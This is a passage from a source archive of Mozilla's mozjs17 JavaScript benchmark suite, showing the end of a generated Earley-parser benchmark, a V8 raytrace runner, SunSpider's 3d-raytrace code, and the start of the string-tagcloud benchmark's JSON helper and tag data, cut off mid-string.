(BgL_sc_stateza2_23za2[(sc_conf_131+(1))])); (head = (conf_set[(4)])); (BgL_sc_stateza2_23za2[(0)] = (conf_set[(0)])); (conf_set_merge_new_bang(conf_set)); (sc_i_130 = head); while ((sc_i_130>=(0))) { { (i = sc_i_130); (j = state_num); (sc_states_129 = states); (BgL_sc_statesza2_128za2 = BgL_sc_statesza2_27za2); (prev = (sc_conf_131-(1))); if (((sc_conf_131>=BgL_sc_nbzd2nts_24zd2)&&((sc_steps_25[prev])>=(0)))) { sc_loop1_127 = function(l) { var k; var ender_set; var state; var ender; var l; while (true) { if ((l instanceof sc_Pair)) { (ender = (l.car)); (ender_set = ((state = (sc_states_129[j])), (state[(ender+(1))]))); if ((ender_set!== false)) { (k = (ender_set[(2)])); while ((k>=(0))) { { if ((k>=i)) if (((BgL_sc_confzd2setzd2adjoinza2za2_46z00(sc_states_129, BgL_sc_statesza2_128za2, k, prev, i))!== false)) (BgL_sc_confzd2setzd2adjoinza2za2_46z00(sc_states_129, BgL_sc_statesza2_128za2, j, ender, k)); (k = (ender_set[(k+(5))])); } } return (sc_loop1_127((l.cdr))); } else (l = (l.cdr)); } else return undefined; } }; (sc_loop1_127((sc_enders_26[(sc_steps_25[prev])]))); } (sc_i_130 = (conf_set[(sc_i_130+(5))])); } } return (loop1()); } else return undefined; } }; (loop1()); (--i); } } (optrOpnd = BgL_sc_statesza2_30za2); return [sc_nts_42, sc_starters_41, sc_enders_40, sc_predictors_39, sc_steps_38, sc_names_37, sc_toks_36, optrOpnd, is_parsed, BgL_sc_derivzd2treesza2_47z70, BgL_sc_nbzd2derivzd2treesza2_48za2]; } }; } }; BgL_parsezd2ze3parsedzf3zc2 = function(parse, nt, i, j) { var is_parsed; var states; var enders; var nts; return ((nts = (parse[(0)])), (enders = (parse[(2)])), (states = (parse[(7)])), (is_parsed = (parse[(8)])), (is_parsed(nt, i, j, nts, enders, states))); }; BgL_parsezd2ze3treesz31 = function(parse, nt, i, j) { var BgL_sc_derivzd2treesza2_132z70; var states; var toks; var names; var steps; var enders; var nts; return ((nts = (parse[(0)])), (enders = (parse[(2)])), (steps = (parse[(4)])), (names = (parse[(5)])), (toks = (parse[(6)])), (states = (parse[(7)])), (BgL_sc_derivzd2treesza2_132z70 = (parse[(9)])), (BgL_sc_derivzd2treesza2_132z70(nt, i, j, nts, enders, steps, names, toks, states))); }; BgL_parsezd2ze3nbzd2treesze3 = function(parse, nt, i, j) { var BgL_sc_nbzd2derivzd2treesza2_133za2; var states; var toks; var steps; var enders; var nts; return ((nts = (parse[(0)])), (enders = (parse[(2)])), (steps = (parse[(4)])), (toks = (parse[(6)])), (states = (parse[(7)])), (BgL_sc_nbzd2derivzd2treesza2_133za2 = (parse[(10)])), (BgL_sc_nbzd2derivzd2treesza2_133za2(nt, i, j, nts, enders, steps, toks, states))); }; test = function(k) { var x; var p; return ((p = (BgL_makezd2parserzd2(const_earley, function(l) { var sc_x_134; var tail1134; var L1130; var falseHead1133; { (falseHead1133 = (new sc_Pair(null, null))); (tail1134 = falseHead1133); (L1130 = l); while (!(L1130 === null)) { { (tail1134.cdr = (new sc_Pair(((sc_x_134 = (L1130.car)), (sc_list(sc_x_134, sc_x_134))), null))); (tail1134 = (tail1134.cdr)); (L1130 = (L1130.cdr)); } } return (falseHead1133.cdr); } }))), (x = (p((sc_vector2list((sc_makeVector(k, "\u1E9Ca"))))))), (sc_length((BgL_parsezd2ze3treesz31(x, "\u1E9Cs", (0), k))))); }; BgL_earleyzd2benchmarkzd2 = function() { var args = null; for (var sc_tmp = arguments.length - 1; sc_tmp >= 0; sc_tmp--) { args = sc_cons(arguments[sc_tmp], args); } var k; return ((k = ((args === null)?(7):(args.car))), (BgL_runzd2benchmarkzd2("earley", (1), function() { return (test(k)); }, function(result) { return ((sc_display(result)), (sc_newline()), true); }))); }; } /************* END OF GENERATED CODE *************/ // Invoke this function to run a benchmark. // The first argument is a string identifying the benchmark. // The second argument is the number of times to run the benchmark. // The third argument is a function that runs the benchmark. // The fourth argument is a unary function that warns if the result // returned by the benchmark is incorrect. // // Example: // RunBenchmark("new Array()", // 1, // function () { new Array(1000000); } // function (v) { // return (v instanceof Array) && (v.length == 1000000); // }); SC_DEFAULT_OUT = new sc_GenericOutputPort(function(s) {}); SC_ERROR_OUT = SC_DEFAULT_OUT; function RunBenchmark(name, count, run, warn) { for (var n = 0; n < count; ++n) { result = run(); } } var BgL_runzd2benchmarkzd2 = RunBenchmark; mozjs17.0.0/js/src/metrics/jint/v8/run-raytrace.js0000664000175000017500000000353512106270663021733 0ustar sstanglsstangl// Copyright 2008 Google Inc. All Rights Reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. load('base.js'); load('raytrace.js'); function PrintResult(name, result) { print(name + ': ' + result); } function PrintScore(score) { print('----'); print('Score: ' + score); } BenchmarkSuite.RunSuites({ NotifyResult: PrintResult, NotifyScore: PrintScore }); mozjs17.0.0/js/src/metrics/jint/sunspider/0000775000175000017500000000000012106270663020432 5ustar sstanglsstanglmozjs17.0.0/js/src/metrics/jint/sunspider/3d-raytrace.js0000664000175000017500000003476112106270663023121 0ustar sstanglsstangl/* * Copyright (C) 2007 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ function createVector(x,y,z) { return new Array(x,y,z); } function sqrLengthVector(self) { return self[0] * self[0] + self[1] * self[1] + self[2] * self[2]; } function lengthVector(self) { return Math.sqrt(self[0] * self[0] + self[1] * self[1] + self[2] * self[2]); } function addVector(self, v) { self[0] += v[0]; self[1] += v[1]; self[2] += v[2]; return self; } function subVector(self, v) { self[0] -= v[0]; self[1] -= v[1]; self[2] -= v[2]; return self; } function scaleVector(self, scale) { self[0] *= scale; self[1] *= scale; self[2] *= scale; return self; } function normaliseVector(self) { var len = Math.sqrt(self[0] * self[0] + self[1] * self[1] + self[2] * self[2]); self[0] /= len; self[1] /= len; self[2] /= len; return self; } function add(v1, v2) { return new Array(v1[0] + v2[0], v1[1] + v2[1], v1[2] + v2[2]); } function sub(v1, v2) { return new Array(v1[0] - v2[0], v1[1] - v2[1], v1[2] - v2[2]); } function scalev(v1, v2) { return new Array(v1[0] * v2[0], v1[1] * v2[1], v1[2] * v2[2]); } function dot(v1, v2) { return v1[0] * v2[0] + v1[1] * v2[1] + v1[2] * v2[2]; } function scale(v, scale) { return [v[0] * scale, v[1] * scale, v[2] * scale]; } function cross(v1, v2) { return [v1[1] * v2[2] - v1[2] * v2[1], v1[2] * v2[0] - v1[0] * v2[2], v1[0] * v2[1] - v1[1] * v2[0]]; } function normalise(v) { var len = lengthVector(v); return [v[0] / len, v[1] / len, v[2] / len]; } function transformMatrix(self, v) { var vals = self; var x = vals[0] * v[0] + vals[1] * v[1] + vals[2] * v[2] + vals[3]; var y = vals[4] * v[0] + vals[5] * v[1] + vals[6] * v[2] + vals[7]; var z = vals[8] * v[0] + vals[9] * v[1] + vals[10] * v[2] + vals[11]; return [x, y, z]; } function invertMatrix(self) { var temp = new Array(16); var tx = -self[3]; var ty = -self[7]; var tz = -self[11]; /* BEGIN LOOP */ for (h = 0; h < 3; h++) { /* BEGIN LOOP */ for (v = 0; v < 3; v++) temp[h + v * 4] = self[v + h * 4]; /* END LOOP */ } /* END LOOP */ /* BEGIN LOOP */ for (i = 0; i < 11; i++) self[i] = temp[i]; /* END LOOP */ self[3] = tx * self[0] + ty * self[1] + tz * self[2]; self[7] = tx * self[4] + ty * self[5] + tz * self[6]; self[11] = tx * self[8] + ty * self[9] + tz * self[10]; return self; } // Triangle intersection using barycentric coord method function Triangle(p1, p2, p3) { var edge1 = sub(p3, p1); var edge2 = sub(p2, p1); var normal = cross(edge1, edge2); if (Math.abs(normal[0]) > Math.abs(normal[1])) if (Math.abs(normal[0]) > Math.abs(normal[2])) this.axis = 0; else this.axis = 2; else if (Math.abs(normal[1]) > Math.abs(normal[2])) this.axis = 1; else this.axis = 2; var u = (this.axis + 1) % 3; var v = (this.axis + 2) % 3; var u1 = edge1[u]; var v1 = edge1[v]; var u2 = edge2[u]; var v2 = edge2[v]; this.normal = normalise(normal); this.nu = normal[u] / normal[this.axis]; this.nv = normal[v] / normal[this.axis]; this.nd = dot(normal, p1) / normal[this.axis]; var det = u1 * v2 - v1 * u2; this.eu = p1[u]; this.ev = p1[v]; this.nu1 = u1 / det; this.nv1 = -v1 / det; this.nu2 = v2 / det; this.nv2 = -u2 / det; this.material = [0.7, 0.7, 0.7]; } Triangle.prototype.intersect = function(orig, dir, near, far) { var u = (this.axis + 1) % 3; var v = (this.axis + 2) % 3; var d = dir[this.axis] + this.nu * dir[u] + this.nv * dir[v]; var t = (this.nd - orig[this.axis] - this.nu * orig[u] - this.nv * orig[v]) / d; if (t < near || t > far) return null; var Pu = orig[u] + t * dir[u] - this.eu; var Pv = orig[v] + t * dir[v] - this.ev; var a2 = Pv * this.nu1 + Pu * this.nv1; if (a2 < 0) return null; var a3 = Pu * this.nu2 + Pv * this.nv2; if (a3 < 0) return null; if ((a2 + a3) > 1) return null; return t; } function Scene(a_triangles) { this.triangles = a_triangles; this.lights = []; this.ambient = [0,0,0]; this.background = [0.8,0.8,1]; } var zero = new Array(0,0,0); Scene.prototype.intersect = function(origin, dir, near, far) { var closest = null; /* BEGIN LOOP */ for (i = 0; i < this.triangles.length; i++) { var triangle = this.triangles[i]; var d = triangle.intersect(origin, dir, near, far); if (d == null || d > far || d < near) continue; far = d; closest = triangle; } /* END LOOP */ if (!closest) return [this.background[0],this.background[1],this.background[2]]; var normal = closest.normal; var hit = add(origin, scale(dir, far)); if (dot(dir, normal) > 0) normal = [-normal[0], -normal[1], -normal[2]]; var colour = null; if (closest.shader) { colour = closest.shader(closest, hit, dir); } else { colour = closest.material; } // do reflection var reflected = null; if (colour.reflection > 0.001) { var reflection = addVector(scale(normal, -2*dot(dir, normal)), dir); reflected = this.intersect(hit, reflection, 0.0001, 1000000); if (colour.reflection >= 0.999999) return reflected; } var l = [this.ambient[0], this.ambient[1], this.ambient[2]]; /* BEGIN LOOP */ for (var i = 0; i < this.lights.length; i++) { var light = this.lights[i]; var toLight = sub(light, hit); var distance = lengthVector(toLight); scaleVector(toLight, 1.0/distance); distance -= 0.0001; if (this.blocked(hit, toLight, distance)) continue; var nl = dot(normal, toLight); if (nl > 0) addVector(l, scale(light.colour, nl)); } /* END LOOP */ l = scalev(l, colour); if (reflected) { l = addVector(scaleVector(l, 1 - colour.reflection), scaleVector(reflected, colour.reflection)); } return l; } Scene.prototype.blocked = function(O, D, far) { var near = 0.0001; var closest = null; /* BEGIN LOOP */ for (i = 0; i < this.triangles.length; i++) { var triangle = this.triangles[i]; var d = triangle.intersect(O, D, near, far); if (d == null || d > far || d < near) continue; return true; } /* END LOOP */ return false; } // this camera code is from notes i made ages ago, it is from *somewhere* -- i cannot remember where // that somewhere is function Camera(origin, lookat, up) { var zaxis = normaliseVector(subVector(lookat, origin)); var xaxis = normaliseVector(cross(up, zaxis)); var yaxis = normaliseVector(cross(xaxis, subVector([0,0,0], zaxis))); var m = new Array(16); m[0] = xaxis[0]; m[1] = xaxis[1]; m[2] = xaxis[2]; m[4] = yaxis[0]; m[5] = yaxis[1]; m[6] = yaxis[2]; m[8] = zaxis[0]; m[9] = zaxis[1]; m[10] = zaxis[2]; invertMatrix(m); m[3] = 0; m[7] = 0; m[11] = 0; this.origin = origin; this.directions = new Array(4); this.directions[0] = normalise([-0.7, 0.7, 1]); this.directions[1] = normalise([ 0.7, 0.7, 1]); this.directions[2] = normalise([ 0.7, -0.7, 1]); this.directions[3] = normalise([-0.7, -0.7, 1]); this.directions[0] = transformMatrix(m, this.directions[0]); this.directions[1] = transformMatrix(m, this.directions[1]); this.directions[2] = transformMatrix(m, this.directions[2]); this.directions[3] = transformMatrix(m, this.directions[3]); } Camera.prototype.generateRayPair = function(y) { rays = new Array(new Object(), new Object()); rays[0].origin = this.origin; rays[1].origin = this.origin; rays[0].dir = addVector(scale(this.directions[0], y), scale(this.directions[3], 1 - y)); rays[1].dir = addVector(scale(this.directions[1], y), scale(this.directions[2], 1 - y)); return rays; } function renderRows(camera, scene, pixels, width, height, starty, stopy) { /* BEGIN LOOP */ for (var y = starty; y < stopy; y++) { var rays = camera.generateRayPair(y / height); /* BEGIN LOOP */ for (var x = 0; x < width; x++) { var xp = x / width; var origin = addVector(scale(rays[0].origin, xp), scale(rays[1].origin, 1 - xp)); var dir = normaliseVector(addVector(scale(rays[0].dir, xp), scale(rays[1].dir, 1 - xp))); var l = scene.intersect(origin, dir); pixels[y][x] = l; } /* END LOOP */ } /* END LOOP */ } Camera.prototype.render = function(scene, pixels, width, height) { var cam = this; var row = 0; renderRows(cam, scene, pixels, width, height, 0, height); } function raytraceScene() { var startDate = new Date().getTime(); var numTriangles = 2 * 6; var triangles = new Array();//numTriangles); var tfl = createVector(-10, 10, -10); var tfr = createVector( 10, 10, -10); var tbl = createVector(-10, 10, 10); var tbr = createVector( 10, 10, 10); var bfl = createVector(-10, -10, -10); var bfr = createVector( 10, -10, -10); var bbl = createVector(-10, -10, 10); var bbr = createVector( 10, -10, 10); // cube!!! // front var i = 0; triangles[i++] = new Triangle(tfl, tfr, bfr); triangles[i++] = new Triangle(tfl, bfr, bfl); // back triangles[i++] = new Triangle(tbl, tbr, bbr); triangles[i++] = new Triangle(tbl, bbr, bbl); // triangles[i-1].material = [0.7,0.2,0.2]; // triangles[i-1].material.reflection = 0.8; // left triangles[i++] = new Triangle(tbl, tfl, bbl); // triangles[i-1].reflection = 0.6; triangles[i++] = new Triangle(tfl, bfl, bbl); // triangles[i-1].reflection = 0.6; // right triangles[i++] = new Triangle(tbr, tfr, bbr); triangles[i++] = new Triangle(tfr, bfr, bbr); // top triangles[i++] = new Triangle(tbl, tbr, tfr); triangles[i++] = new Triangle(tbl, tfr, tfl); // bottom triangles[i++] = new Triangle(bbl, bbr, bfr); triangles[i++] = new Triangle(bbl, bfr, bfl); //Floor!!!! var green = createVector(0.0, 0.4, 0.0); var grey = createVector(0.4, 0.4, 0.4); grey.reflection = 1.0; var floorShader = function(tri, pos, view) { var x = ((pos[0]/32) % 2 + 2) % 2; var z = ((pos[2]/32 + 0.3) % 2 + 2) % 2; if (x < 1 != z < 1) { //in the real world we use the fresnel term... // var angle = 1-dot(view, tri.normal); // angle *= angle; // angle *= angle; // angle *= angle; //grey.reflection = angle; return grey; } else return green; } var ffl = createVector(-1000, -30, -1000); var ffr = createVector( 1000, -30, -1000); var fbl = createVector(-1000, -30, 1000); var fbr = createVector( 1000, -30, 1000); triangles[i++] = new Triangle(fbl, fbr, ffr); triangles[i-1].shader = floorShader; triangles[i++] = new Triangle(fbl, ffr, ffl); triangles[i-1].shader = floorShader; var _scene = new Scene(triangles); _scene.lights[0] = createVector(20, 38, -22); _scene.lights[0].colour = createVector(0.7, 0.3, 0.3); _scene.lights[1] = createVector(-23, 40, 17); _scene.lights[1].colour = createVector(0.7, 0.3, 0.3); _scene.lights[2] = createVector(23, 20, 17); _scene.lights[2].colour = createVector(0.7, 0.7, 0.7); _scene.ambient = createVector(0.1, 0.1, 0.1); // _scene.background = createVector(0.7, 0.7, 1.0); var size = 30; var pixels = new Array(); /* BEGIN LOOP */ for (var y = 0; y < size; y++) { pixels[y] = new Array(); /* BEGIN LOOP */ for (var x = 0; x < size; x++) { pixels[y][x] = 0; } /* END LOOP */ } /* END LOOP */ var _camera = new Camera(createVector(-40, 40, 40), createVector(0, 0, 0), createVector(0, 1, 0)); _camera.render(_scene, pixels, size, size); return pixels; } function arrayToCanvasCommands(pixels) { var s = '\nvar pixels = ['; var size = 30; /* BEGIN LOOP */ for (var y = 0; y < size; y++) { s += "["; /* BEGIN LOOP */ for (var x = 0; x < size; x++) { s += "[" + pixels[y][x] + "],"; } /* END LOOP */ s+= "],"; } /* END LOOP */ s += '];\n var canvas = document.getElementById("renderCanvas").getContext("2d");\n\ \n\ \n\ var size = 30;\n\ canvas.fillStyle = "red";\n\ canvas.fillRect(0, 0, size, size);\n\ canvas.scale(1, -1);\n\ canvas.translate(0, -size);\n\ \n\ if (!canvas.setFillColor)\n\ canvas.setFillColor = function(r, g, b, a) {\n\ this.fillStyle = "rgb("+[Math.floor(r * 255), Math.floor(g * 255), Math.floor(b * 255)]+")";\n\ }\n\ \n\ for (var y = 0; y < size; y++) {\n\ for (var x = 0; x < size; x++) {\n\ var l = pixels[y][x];\n\ canvas.setFillColor(l[0], l[1], l[2], 1);\n\ canvas.fillRect(x, y, 1, 1);\n\ }\n\ }'; return s; } testOutput = arrayToCanvasCommands(raytraceScene()); mozjs17.0.0/js/src/metrics/jint/sunspider/string-tagcloud.js0000664000175000017500000052606712106270663024116 0ustar sstanglsstangl /* * Copyright (C) 2007 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Portions from: json.js 2007-10-10 Public Domain */ // This test parses a JSON string giving tag names and popularity, and // generates html markup for a "tagcloud" view. if (!Object.prototype.toJSONString) { Array.prototype.toJSONString = function (w) { var a = [], // The array holding the partial texts. i, // Loop counter. l = this.length, v; // The value to be stringified. /* BEGIN LOOP */ for (i = 0; i < l; i += 1) { v = this[i]; switch (typeof v) { case 'object': if (v && typeof v.toJSONString === 'function') { a.push(v.toJSONString(w)); } else { a.push('null'); } break; case 'string': case 'number': case 'boolean': a.push(v.toJSONString()); break; default: a.push('null'); } } /* END LOOP */ return '[' + a.join(',') + ']'; }; Boolean.prototype.toJSONString = function () { return String(this); }; Date.prototype.toJSONString = function () { function f(n) { return n < 10 ? '0' + n : n; } return '"' + this.getUTCFullYear() + '-' + f(this.getUTCMonth() + 1) + '-' + f(this.getUTCDate()) + 'T' + f(this.getUTCHours()) + ':' + f(this.getUTCMinutes()) + ':' + f(this.getUTCSeconds()) + 'Z"'; }; Number.prototype.toJSONString = function () { return isFinite(this) ? String(this) : 'null'; }; Object.prototype.toJSONString = function (w) { var a = [], // The array holding the partial texts. k, // The current key. i, // The loop counter. v; // The current value. if (w) { /* BEGIN LOOP */ for (i = 0; i < w.length; i += 1) { k = w[i]; if (typeof k === 'string') { v = this[k]; switch (typeof v) { case 'object': if (v) { if (typeof v.toJSONString === 'function') { a.push(k.toJSONString() + ':' + v.toJSONString(w)); } } else { a.push(k.toJSONString() + ':null'); } break; case 'string': case 'number': case 'boolean': a.push(k.toJSONString() + ':' + v.toJSONString()); } } } /* END LOOP */ } else { /* BEGIN LOOP */ for (k in this) { if (typeof k === 'string' && Object.prototype.hasOwnProperty.apply(this, [k])) { v = this[k]; switch (typeof v) { case 'object': if (v) { if (typeof v.toJSONString === 'function') { a.push(k.toJSONString() + ':' + v.toJSONString()); } } else { a.push(k.toJSONString() + ':null'); } break; case 'string': case 'number': case 'boolean': a.push(k.toJSONString() + ':' + v.toJSONString()); } } } /* END LOOP */ } return '{' + a.join(',') + '}'; }; (function (s) { var m = { '\b': '\\b', '\t': '\\t', '\n': '\\n', '\f': '\\f', '\r': '\\r', '"' : '\\"', '\\': '\\\\' }; s.parseJSON = function (filter) { var j; function walk(k, v) { var i, n; if (v && typeof v === 'object') { /* BEGIN LOOP */ for (i in v) { if (Object.prototype.hasOwnProperty.apply(v, [i])) { n = walk(i, v[i]); if (n !== undefined) { v[i] = n; } } } /* END LOOP */ } return filter(k, v); } if (/^[\],:{}\s]*$/.test(this.replace(/\\./g, '@'). replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(:?[eE][+\-]?\d+)?/g, ']'). replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { j = eval('(' + this + ')'); return typeof filter === 'function' ? walk('', j) : j; } throw new SyntaxError('parseJSON'); }; s.toJSONString = function () { if (/["\\\x00-\x1f]/.test(this)) { return '"' + this.replace(/[\x00-\x1f\\"]/g, function (a) { var c = m[a]; if (c) { return c; } c = a.charCodeAt(); return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16); }) + '"'; } return '"' + this + '"'; }; })(String.prototype); } var tagInfoJSON = '[\n {\n \"tag\": "titillation",\n \"popularity\": 4294967296\n },\n {\n \"tag\": "foamless",\n \"popularity\": 1257718401\n },\n {\n \"tag\": "snarler",\n \"popularity\": 613166183\n },\n {\n \"tag\": "multangularness",\n \"popularity\": 368304452\n },\n {\n \"tag\": "Fesapo unventurous",\n \"popularity\": 248026512\n },\n {\n \"tag\": "esthesioblast",\n \"popularity\": 179556755\n },\n {\n \"tag\": "echeneidoid",\n \"popularity\": 136641578\n },\n {\n \"tag\": "embryoctony",\n \"popularity\": 107852576\n },\n {\n \"tag\": "undilatory",\n \"popularity\": 87537981\n },\n {\n \"tag\": "predisregard",\n \"popularity\": 72630939\n },\n {\n \"tag\": "allergenic",\n \"popularity\": 61345190\n },\n {\n \"tag\": "uncloudy",\n \"popularity\": 52580571\n },\n {\n \"tag\": "unforeseeably",\n \"popularity\": 45628109\n },\n {\n \"tag\": "sturniform",\n \"popularity\": 40013489\n },\n {\n \"tag\": "anesthetize",\n \"popularity\": 35409226\n },\n {\n \"tag\": "ametabolia",\n \"popularity\": 31583050\n },\n {\n \"tag\": "angiopathy",\n \"popularity\": 28366350\n },\n {\n \"tag\": "sultanaship",\n \"popularity\": 25634218\n },\n {\n \"tag\": "Frenchwise",\n \"popularity\": 23292461\n },\n {\n \"tag\": "cerviconasal",\n \"popularity\": 21268909\n },\n {\n \"tag\": "mercurialness",\n \"popularity\": 19507481\n },\n {\n \"tag\": "glutelin venditate",\n \"popularity\": 17964042\n },\n {\n \"tag\": "acred overblack",\n \"popularity\": 16603454\n },\n {\n \"tag\": "Atik",\n \"popularity\": 15397451\n },\n {\n \"tag\": "puncturer",\n \"popularity\": 14323077\n },\n {\n \"tag\": "pukatea",\n \"popularity\": 13361525\n },\n {\n \"tag\": "suberize",\n \"popularity\": 12497261\n },\n {\n \"tag\": "Godfrey",\n \"popularity\": 11717365\n },\n {\n \"tag\": "tetraptote",\n \"popularity\": 11011011\n },\n {\n \"tag\": "lucidness",\n \"popularity\": 10369074\n },\n {\n \"tag\": "tartness",\n \"popularity\": 9783815\n },\n {\n \"tag\": "axfetch",\n \"popularity\": 9248634\n },\n {\n \"tag\": "preacquittal",\n \"popularity\": 8757877\n },\n {\n \"tag\": "matris",\n \"popularity\": 8306671\n },\n {\n \"tag\": "hyphenate",\n \"popularity\": 7890801\n },\n {\n \"tag\": "semifabulous",\n \"popularity\": 7506606\n },\n {\n \"tag\": "oppressiveness",\n \"popularity\": 7150890\n },\n {\n \"tag\": "Protococcales",\n \"popularity\": 6820856\n },\n {\n \"tag\": "unpreventive",\n \"popularity\": 6514045\n },\n {\n \"tag\": "Cordia",\n \"popularity\": 6228289\n },\n {\n \"tag\": "Wakamba leaflike",\n \"popularity\": 5961668\n },\n {\n \"tag\": "dacryoma",\n \"popularity\": 5712480\n },\n {\n \"tag\": "inguinal",\n \"popularity\": 5479211\n },\n {\n \"tag\": "responseless",\n \"popularity\": 5260507\n },\n {\n \"tag\": "supplementarily",\n \"popularity\": 5055158\n },\n {\n \"tag\": "emu",\n \"popularity\": 4862079\n },\n {\n \"tag\": "countermeet",\n \"popularity\": 4680292\n },\n {\n \"tag\": "purrer",\n \"popularity\": 4508918\n },\n {\n \"tag\": "Corallinaceae",\n \"popularity\": 4347162\n },\n {\n \"tag\": "speculum",\n \"popularity\": 4194304\n },\n {\n \"tag\": "crimpness",\n \"popularity\": 4049690\n },\n {\n \"tag\": "antidetonant",\n \"popularity\": 3912727\n },\n {\n \"tag\": "topeewallah",\n \"popularity\": 3782875\n },\n {\n \"tag\": "fidalgo ballant",\n \"popularity\": 3659640\n },\n {\n \"tag\": "utriculose",\n \"popularity\": 3542572\n },\n {\n \"tag\": "testata",\n \"popularity\": 3431259\n },\n {\n \"tag\": "beltmaking",\n \"popularity\": 3325322\n },\n {\n \"tag\": "necrotype",\n \"popularity\": 3224413\n },\n {\n \"tag\": "ovistic",\n \"popularity\": 3128215\n },\n {\n \"tag\": "swindlership",\n \"popularity\": 3036431\n },\n {\n \"tag\": "augustal",\n \"popularity\": 2948792\n },\n {\n \"tag\": "Titoist",\n \"popularity\": 2865047\n },\n {\n \"tag\": "trisoctahedral",\n \"popularity\": 2784963\n },\n {\n \"tag\": "sequestrator",\n \"popularity\": 2708327\n },\n {\n \"tag\": "sideburns",\n \"popularity\": 2634939\n },\n {\n \"tag\": "paraphrasia",\n \"popularity\": 2564616\n },\n {\n \"tag\": "graminology unbay",\n \"popularity\": 2497185\n },\n {\n \"tag\": "acaridomatium emargination",\n \"popularity\": 2432487\n },\n {\n \"tag\": "roofward",\n \"popularity\": 2370373\n },\n {\n \"tag\": "lauder",\n \"popularity\": 2310705\n },\n {\n \"tag\": "subjunctive",\n \"popularity\": 2253354\n },\n {\n \"tag\": "subelongate",\n \"popularity\": 2198199\n },\n {\n \"tag\": "guacimo",\n \"popularity\": 2145128\n },\n {\n \"tag\": "cockade",\n \"popularity\": 2094033\n },\n {\n \"tag\": "misgauge",\n \"popularity\": 2044818\n },\n {\n \"tag\": "unexpensive",\n \"popularity\": 1997388\n },\n {\n \"tag\": "chebel",\n \"popularity\": 1951657\n },\n {\n \"tag\": "unpursuing",\n \"popularity\": 1907543\n },\n {\n \"tag\": "kilobar",\n \"popularity\": 1864969\n },\n {\n \"tag\": "obsecration",\n \"popularity\": 1823863\n },\n {\n \"tag\": "nacarine",\n \"popularity\": 1784157\n },\n {\n \"tag\": "spirituosity",\n \"popularity\": 1745787\n },\n {\n \"tag\": "movableness deity",\n \"popularity\": 1708692\n },\n {\n \"tag\": "exostracism",\n \"popularity\": 1672816\n },\n {\n \"tag\": "archipterygium",\n \"popularity\": 1638104\n },\n {\n \"tag\": "monostrophic",\n \"popularity\": 1604506\n },\n {\n \"tag\": "gynecide",\n \"popularity\": 1571974\n },\n {\n \"tag\": "gladden",\n 